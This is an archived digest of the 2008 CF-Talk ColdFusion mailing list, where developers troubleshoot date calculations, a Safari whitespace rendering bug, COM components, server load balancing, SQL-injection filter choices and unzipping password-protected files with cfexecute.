Can you explain to goal a little bit... I can see a few uses for such data. For example, is the goal of the date input something like, I need to rent a house for... 2 years, 3 months and 11 days And then you need to calculate what the end date would be starting at Now()? =] -- Alan Rother Adobe Certified Advanced ColdFusion MX 7 Developer Manager, Phoenix Cold Fusion User Group, AZCFUG.org ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311923 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
If you want the current date to be your starting point, and you want them to select a date in the future using your dropdowns, you'd do this: !--- Create a new date object based on user selections --- cfset newDate = DateAdd('d',day_value,DateAdd('m',month_value,DateAdd('',year_value,now( !--- find the difference --- cfset diff = DateDiff('d',now(),newDate) Essentially, if the user selected 2 years, 3 months and 15 days, the newDate would be 12/17/2010 which is 836 days away. Hope that helps. If not, please clarify your goal a little more. Jake Churchill CF Webtools 11204 Davenport, Ste. 100 Omaha, NE 68154 http://www.cfwebtools.com 402-408-3733 x103 Laurie Smith wrote: I have 3 drop-down boxes for: Years Months Days I need to combine the values for all 3 and convert to days so I can use the total number of days with DateDiff...Any suggestions would be greatly appreciated. Thanks I should have clarified that I am not passing a date such as mm/dd/. The year dropdown contains the values 1-5 that the user can select, the month is 1-11, and the days are 1-30. What I am trying to do is for example, when if a user selects 2 years 2 months 2 days then I need to convert those values to days. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311925 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Maybe OT: Content Disappears when .cfm call, shows when .html
This doesn't make any sense to me at all, so toss it out to the list. We've got a site in development, that is giving us fits. A specific page, when viewed in Safari (mac and win), will not show div contents of a specific class when surfed to as a .cfm file. If you view source the content is there. Save source as an .html file and surf to that, the content shows fine. The page behaves perfectly in FF2 (mac, win), IE7, IE6, Opera 9.27 (win). The html/css validates fine, and the page renders in standards compliant mode. Of note: tons of whitespace prior to the doctype declaration (we're all used to seeing this in CF-generated content, I imagine). Thoughts? Suggestions? Cheers, Kris ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311926 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Please Help..Confused
Can you explain to goal a little bit... I can see a few uses for such data. For example, is the goal of the date input something like, I need to rent a house for... 2 years, 3 months and 11 days And then you need to calculate what the end date would be starting at Now()? =] -- Alan Rother Adobe Certified Advanced ColdFusion MX 7 Developer Manager, Phoenix Cold Fusion User Group, AZCFUG.org No, what I need is for example, when if a user selects 2 years (from the years dropdown box) 2 months ( 2 days from the months dropdown box) and 2 days (from the days dropdown box then I need to convert those values to days and add them up. Then that added value will be used with another dropdown that the user selects from (1-90)to determine how many days they have left until their certificate expires. Any suggestions?? Sorry if this is confusing ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311927 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Maybe OT: Content Disappears when .cfm call, shows when .html
We've got a site in development, that is giving us fits. A specific page, when viewed in Safari (mac and win), will not show div contents of a specific class when surfed to as a .cfm file. If you view source the content is there. Save source as an .html file and surf to that, the content shows fine. Have you flushed your browser cache? Dave Watts, CTO, Fig Leaf Software http://www.figleaf.com/ Fig Leaf Software provides the highest caliber vendor-authorized instruction at our training centers in Washington DC, Atlanta, Chicago, Baltimore, Northern Virginia, or on-site at your location. Visit http://training.figleaf.com/ for more information! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311928 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Maybe OT: Content Disappears when .cfm call, shows when .html
Put a cfcontent reset=true right before the doctype on the same line and see what happens. Adrian -Original Message- From: Kris Jones [mailto:[EMAIL PROTECTED] Sent: 02 September 2008 19:42 To: CF-Talk Subject: Maybe OT: Content Disappears when .cfm call, shows when .html This doesn't make any sense to me at all, so toss it out to the list. We've got a site in development, that is giving us fits. A specific page, when viewed in Safari (mac and win), will not show div contents of a specific class when surfed to as a .cfm file. If you view source the content is there. Save source as an .html file and surf to that, the content shows fine. The page behaves perfectly in FF2 (mac, win), IE7, IE6, Opera 9.27 (win). The html/css validates fine, and the page renders in standards compliant mode. Of note: tons of whitespace prior to the doctype declaration (we're all used to seeing this in CF-generated content, I imagine). Thoughts? Suggestions? Cheers, Kris ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311929 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Maybe OT: Content Disappears when .cfm call, shows when .html
Yup. Happening for more than one developer too. We've got a site in development, that is giving us fits. A specific page, when viewed in Safari (mac and win), will not show div contents of a specific class when surfed to as a .cfm file. If you view source the content is there. Save source as an .html file and surf to that, the content shows fine. Have you flushed your browser cache? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311930 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Please Help..Confused
On Tue, Sep 2, 2008 at 11:37 AM, Laurie Smith [EMAIL PROTECTED]wrote: On Tue, Sep 2, 2008 at 11:29 AM, Laurie Smith [EMAIL PROTECTED] wrote: but... but... some months have a different number of days than others :) if that's your desired result, you'll really need to capture a start date (and an end date) -- A byte walks into a bar and orders a pint. Bartender asks him What's wrong? Byte says Parity error. Bartender nods and says Yeah, I thought you looked a bit off. For my example of: What I am trying to do is for example, when if a user selects 2 years 2 months 2 days then I need to convert those values to days. Do you recommend using the DateDiff? which 2 months tho? if it's february and march, those will have different # of days than, say july and august. and february and march of a leap year will have a different # of days than february and march of a non-leap year. what's the context in which the user is selecting these values? if you need a dateDiff() then ideally you need an actual start date and an actual end date. -- A byte walks into a bar and orders a pint. Bartender asks him What's wrong? Byte says Parity error. Bartender nods and says Yeah, I thought you looked a bit off. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311931 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Maybe OT: Content Disappears when .cfm call, shows when .html
OMG. This fixes it. What's that all about anyway? Put a cfcontent reset=true right before the doctype on the same line and see what happens. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311932 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Please Help..Confused
On Tue, Sep 2, 2008 at 11:29 AM, Laurie Smith [EMAIL PROTECTED]wrote: but... but... some months have a different number of days than others :) if that's your desired result, you'll really need to capture a start date (and an end date) -- A byte walks into a bar and orders a pint. Bartender asks him What's wrong? Byte says Parity error. Bartender nods and says Yeah, I thought you looked a bit off. For my example of: What I am trying to do is for example, when if a user selects 2 years 2 months 2 days then I need to convert those values to days. Do you recommend using the DateDiff? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311924 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Please Help..Confused
In order to get the number of days in (for example) 2 years, 2 months and 2 days, you can do one of the following. 1. Assume a year has 365 days a month has 30 (It doesn't and this will not work correctly for your situation) 2. Use a start date. This is preferable since years, months and days are measures of time. Without 2 reference points (Start and either time or end date), you can't measure correctly. For example, tell me the miles between Chicago and some other city that is unspecified. You can't because to measure something (distance, time, etc), you need 2 points. Start and End (or one of those with the distance between one or the other). If you are good at math, it's like me asking you to find for x in the following problem.. x=y+? See our point? :) Laurie Smith wrote: No, what I need is for example, when if a user selects 2 years (from the years dropdown box) 2 months ( 2 days from the months dropdown box) and 2 days (from the days dropdown box then I need to convert those values to days and add them up. Then that added value will be used with another dropdown that the user selects from (1-90)to determine how many days they have left until their certificate expires. Any suggestions?? Sorry if this is confusing ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311933 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Please Help..Confused
I should have clarified that I am not passing a date such as mm/dd/. The year dropdown contains the values 1-5 that the user can select, the month is 1-11, and the days are 1-30. What I am trying to do is for example, when if a user selects 2 years 2 months 2 days then I need to convert those values to days. Then use CreateDate(year, month, day) to create a date object For the year, I suppose 1-5 stands for 2008-2013? Then use CreateDate(year+2007, month, day) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311934 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: AutoImageInfo com component on CF8 used for image properties
JEEZ HIGH SCHOOL mistake I made. So stupid of me. It is the images that were inaccessible over the network and I usually change the access rights once I see that error but it came up only here maybe since this is the first app that is called. Thank you 10X for that excellent tip. They are planning to use CFIMAGE to get image size if we migrate. Do you see any issues with that change? Be well and thanks again Doug On Tue, Sep 2, 2008 at 2:06 PM, William Seiter [EMAIL PROTECTED] wrote: Have you already checked to see that your ColdFusion istallation has rights to read/write/execute on that folder and all of the subsequent files? It appears that autoimage is running, but throwing back an error. William -- William Seiter ColdFusion Web Developer / Consultant http://william.seiter.com Free Website Trade Publication Website Magazine http://www.websitemagazine.com/referrals/?id=51344f=text2 Don't forget to answer the survey questions, it's a 10 second task , a very small request for access to this incredible resource. ::-Original Message- ::From: douglas cohn [mailto:[EMAIL PROTECTED] ::Sent: Tuesday, September 02, 2008 10:55 AM ::To: CF-Talk ::Subject: AutoImageInfo com component on CF8 used for image properties :: ::We are reviewing migrating our site from CF5 to CF8 (HALLELUJAH). I am ::the lowly It guy yet I help with whatever I am asked. :: ::We are using a com object from United Binary called AutoImage Info. It is ::solely for getting image parameters. IE size width etc. I realize there ::are other ways to do this and I AM Interested but right now I would like ::to see if we could get it working so we can test. Of course if you have a ::super fast one line replacement compatible with CF5 -- I am listening but ::we need to maintain CF5 for now and the developers are trying to maintain ::one code base for cf5 and cf8. I AM NOT A DEVELOPER. :: ::Is there any reason a com object would work with CF5 but not with CF8? :: ::This is the error we receive The image is available. Our environment is ::clean and stable. Server is W2K3 SP2. :: :: An exception occurred when executing a COM method. ::The cause of this exception was that: AutomationException: 0x80004005 - ::Error 1527: ReadHeader method threw an exception. The file ::\\photonasbak\static3$\ImgDisk3\SACRAMENTO\08-09-01_04-00- ::05_SACRAMENTO/T_8V07884.jpg could not be read. It is either does not exist ::or is not accessible. Please refer to the AutoImageInfo documentation for ::more information. in 'UnitedBinary.AutoImageInfo.1'. :: :: ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311935 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Please Help..Confused
If you mean X years, Y months, and Z days from NOW: cfset newdate=#DateAdd('d',days_value,Now())# cfset newdate=#DateAdd('m',months_value,Now())# cfset newdate=#DateAdd('',years_value,Now())# This will give you a new date that is x years, Y months, and Z days in the future from now. If you're calculating from a different date, change Now() to the start date. If you're subtracting to find a past date, change the values to negative. That will do it. Robert B. Harrison Director of Interactive services Austin Williams 125 Kennedy Drive, Suite 100 Hauppauge NY 11788 T : 631.231.6600 Ext. 119 F : 631.434.7022 www.austin-williams.com Great advertising can't be either/or... It must be . ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311936 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Query of Queries
You can keep it in a query, but you will need to build the query yourself in the cfloop with querynew() queryaddrow() and querysetcell() etc. (I think I spelled those right.) It is MUCH more verbose then a qofq, but will accomplish the same thing. ~Brad Original Message Subject: Re: Query of Queries From: Craigsell [EMAIL PROTECTED] Date: Tue, September 02, 2008 12:24 pm To: CF-Talk cf-talk@houseoffusion.com Dang. I was trying to keep this in a query datatype so I could use it in subsequent QoQ. I wanted to get rid of the names I don't need to reduce memory usage -- I have a lot of image names to store! ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311937 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Please Help..Confused
Whoops... correction... only the first data is NOW... the others are NEWDATE... it's cumulative. cfset newdate=#DateAdd('d',days_value,Now())# cfset newdate=#DateAdd('m',months_value,newdate)# cfset newdate=#DateAdd('',years_value,newdate)# Robert B. Harrison Director of Interactive services Austin Williams 125 Kennedy Drive, Suite 100 Hauppauge NY 11788 T : 631.231.6600 Ext. 119 F : 631.434.7022 www.austin-williams.com Great advertising can't be either/or... It must be . -Original Message- From: Robert Harrison [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 3:07 PM To: CF-Talk Subject: RE: Please Help..Confused If you mean X years, Y months, and Z days from NOW: cfset newdate=#DateAdd('d',days_value,Now())# cfset newdate=#DateAdd('m',months_value,Now())# cfset newdate=#DateAdd('',years_value,Now())# This will give you a new date that is x years, Y months, and Z days in the future from now. If you're calculating from a different date, change Now() to the start date. If you're subtracting to find a past date, change the values to negative. That will do it. Robert B. Harrison Director of Interactive services Austin Williams 125 Kennedy Drive, Suite 100 Hauppauge NY 11788 T : 631.231.6600 Ext. 119 F : 631.434.7022 www.austin-williams.com Great advertising can't be either/or... It must be . ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311938 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
No, what I need is for example, when if a user selects 2 years (from the years dropdown box) 2 months ( 2 days from the months dropdown box) and 2 days (from the days dropdown box then I need to convert those values to days and add them up. Then that added value will be used with another dropdown that the user selects from (1-90)to determine how many days they have left until their certificate expires. Any suggestions?? Sorry if this is confusing I'm not sure what you're asking on the second part, but if you're asking for a time period and need to convert that to a date... cfscript targetDate = dateAdd(, url.numYears, now()); targetDate = dateAdd(m, url.numMonths, targetDate); targetDate = dateAdd(d, url.numDays, targetDate); /cfscript cfoutput#targetDate#/cfoutput I'm not sure what you're talking about with the 1-90 selection though. -Justin Scott - blog: http://www.tlson.com/ ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311939 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Query of Queries
Thanks! I just realised that I could do that. Now I have to figure out whether it is a good idea to store 6 rows in an application scope query. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311940 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Load Balancing CF8 Standard using Foundry
We are looking to move a CF5 10 server farm running on NT 4.0 to W2K3 and CF8. We currently have CF5 ent and use Bright Tiger exclusively. It works fine but there is no upgrade path obviously. I would like to use Foundry LB switches but was hoping that CF8 standard would suffice because of the financial difference. Is there any reason I would be unhappy with standard and hardware LB? How will sessions act compared to how they react now using Bright Tiger? Any ideas are appreciated. We will most likely move to 2 servers as the power and performance differences are so massive between before and after. Servers are circa 1999. VBG Doug ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311941 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Please Help..Confused
I need to convert those values to days and add them up. Ok, but to add them up to WHICH date ? Or do you consider every month to be 30 days and every year to be 365 days in general? If yes, then just use dateAdd (d, form.years*365 + form.months*30 + form.days, dateToBeAdded) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311942 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Maybe OT: Content Disappears when .cfm call, shows when .html
OMG. This fixes it. What's that all about anyway? Put a cfcontent reset=true right before the doctype on the same line and see what happens. I believe according to the standard, XML isn't allowed to have any white space before the doctype. This is the first I'd heard of a browser refusing to render it though. -- s. isaac dealey ^ new epoch isn't it time for a change? ph: 781.769.0723 http://onTap.riaforge.org/blog ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311943 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Please Help..Confused
Unless you want to add up the number of days from a specific date, this is not logical, as days in years and months can vary. If it's from a date like today, then: cfset newdate=#DateAdd('d',days_value,Now())# cfset newdate=#DateAdd('m',months_value,newdate)# cfset newdate=#DateAdd('',years_value,newdate)# cfset number_of_days=#DateDiff(d, #newdate#, #now()#) Robert B. Harrison Director of Interactive services Austin Williams 125 Kennedy Drive, Suite 100 Hauppauge NY 11788 T : 631.231.6600 Ext. 119 F : 631.434.7022 www.austin-williams.com Great advertising can't be either/or... It must be . ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311944 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
recommendation for ISAPI injection filter?
Hello folks: Following the not-so-long-ago rounds of SQL injection attacks and much persuasion, I finally got the go-ahead to get an intrusion detection filter for our web application servers. I have implemented the wonderful SQL Injection Blocker function posted on this discussion thread, and I am going through all of our old web application code systematically to add missing CFQUERYPARAM tags. (There are A LOT OF them). But, a web application server intrusion filter is definitely in need. Primarily, I am looking for two features: 1) Does URL rewriting 2) Does SQL injection attack alerts I am sure many of you already have a ISAPI filter installed? What do you recommend? Helicon ISAPI_Rewrite tool does URL rewriting, but I can't be sure (from their online documentation) whether it does intrusion detection or not. Any of you using it? Does it generate a lot of false positives? We have CF8 and IIS7. Thanks a bunch, Qing Xia ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311945 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Maybe OT: Content Disappears when .cfm call, shows when .html
s. isaac dealey wrote: I believe according to the standard, XML isn't allowed to have any white space before the doctype. This is the first I'd heard of a browser refusing to render it though. Actually IIRC, the XML standard does not care about white space, nothing else is allowed before the doctype, but whitespace is ok. I.E. on the other hand has a different opinion. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311946 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: How can I unzip a password-protected zip file with cfzip?
Claude... I'm not having much luck, yet. I'm trying to run this code: cfexecute name=e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\pkzip25.exe arguments = -extract e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\MI20080901_031315_res_1.zip e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files -password bsz3xuYD timeout=10 outputfile=e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\extract_log.txt / I tried to check the syntax in the livedocs, but I couldn't tell for sure if perhaps my were misplaced. I'm getting the outputfile correctly, but not unzipping is taking place. I'm only running CF 8.0.0., and not CF 8.0.1, so I don't have access to the errorFile attribute that 8.0.1 added. Ideas? Thanks, Rick -Original Message- From: Claude Schneegans [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 10:19 AM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? Would you mind sharing an example of how you use CFExecute and the bat file to process a certain list of files? I just reopen the file were I use it, and I see that I don't use the bat file anymore, this was in version 1.0. Now I pass the parameter directly through CFEXECUTE: CFEXECUTE NAME=#path#\PKZIP25.EXE ARGUMENTS = -extract #path#\individus.zip #pathPhoto#\portrait TIMEOUT=10 OUTPUTFILE=#path#\extract_log.txt / This example does not use password, but it would just be a matter of adding the password parameter in the list or arguments, ie: ARGUMENTS = -extract #path#\individus.zip -password myPassWord #pathPhoto#\portrait Haven't used CFExecute before, nor have I needed to deploy bat file. I could tinker around and probably figure it out, but a working example would be a great guide! There is nothing special to install in order to use CFEXECUTE, just make sure the tag is allowed in your server administrator. Look for the file PKZIP25.EXE, I can send it to you in private if you don't find it. Just drop it in some directory it can been executed. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311947 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: How can I unzip a password-protected zip file with cfzip?
Ideas? First, I would check if the file e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\extract_log.txt has been created and, if yes, if it contains any message errors. Also make sure you have no line breaks inside the arguments parameter string For other parameters in PKZIP, just execute it and enter ? in the DOS window. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311948 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Maybe OT: Content Disappears when .cfm call, shows when .html
Funny, in this instance, IE played nice. Just Safari gave us a problem. I've seen other cases where Safari is a bit more sensitive to character-encoding type of things, but don't know that this was the issue this time. I'm guessing that there was something other than true white-space in that thar white-space, but at this point, it's fixed. Thanks everyone for the help Cheers, Kris Actually IIRC, the XML standard does not care about white space, nothing else is allowed before the doctype, but whitespace is ok. I.E. on the other hand has a different opinion. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311949 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Maybe OT: Content Disappears when .cfm call, shows when .html
s. isaac dealey wrote: I believe according to the standard, XML isn't allowed to have any white space before the doctype. This is the first I'd heard of a browser refusing to render it though. Actually IIRC, the XML standard does not care about white space, nothing else is allowed before the doctype, but whitespace is ok. I.E. on the other hand has a different opinion. Well that's what I'd remembered reading... and at the time I was trying to figure out why a particular XmlParse(variable) wasn't working... turned out XmlParse(trim(variable)) was the fix, because the parser was choking on white space before the document root element (there wasn't a doc type in that particular packet). And since then I've always been sure to trim() before using XmlParse because of that. This is the first time I can recal anyone disagreeing about the white space, although I would personally have loved for the standard to insist that the parser be able to handle white space there. -- s. isaac dealey ^ new epoch isn't it time for a change? ph: 781.769.0723 http://onTap.riaforge.org/blog ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311950 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: How can I unzip a password-protected zip file with cfzip?
Still a no go... Besides the header info, here's the info that's showing in the body of the extract.log: Decrypting Encrypted files Extracting files from .ZIP: e:/inetpub/webroot/real_estate_data/smlc/daily_downloads/zip_files/MI20080901_031315_RES_1.zip It seems to be doing what it should, but the extracted files aren't showing up in the destination folder... Any other ideas? Rick -Original Message- From: Claude Schneegans [mailto:[EMAIL PROTECTED] Sent: Tuesday, September 02, 2008 4:14 PM To: CF-Talk Subject: Re: How can I unzip a password-protected zip file with cfzip? Ideas? First, I would check if the file e:\inetpub\webroot\real_estate_data\smlc\daily_downloads\zip_files\extract_log.txt has been created and, if yes, if it contains any message errors. Also make sure you have no line breaks inside the arguments parameter string For other parameters in PKZIP, just execute it and enter ? in the DOS window. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311951 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I unzip a password-protected zip file with cfzip?
It seems to be doing what it should, but the extracted files aren't showing up in the destination folder... Just guessing but could it be something permission related, i.e. the perceived user that is doing the unzipping doesn't have write access to the destination folder? -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311952 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: How can I unzip a password-protected zip file with cfzip?
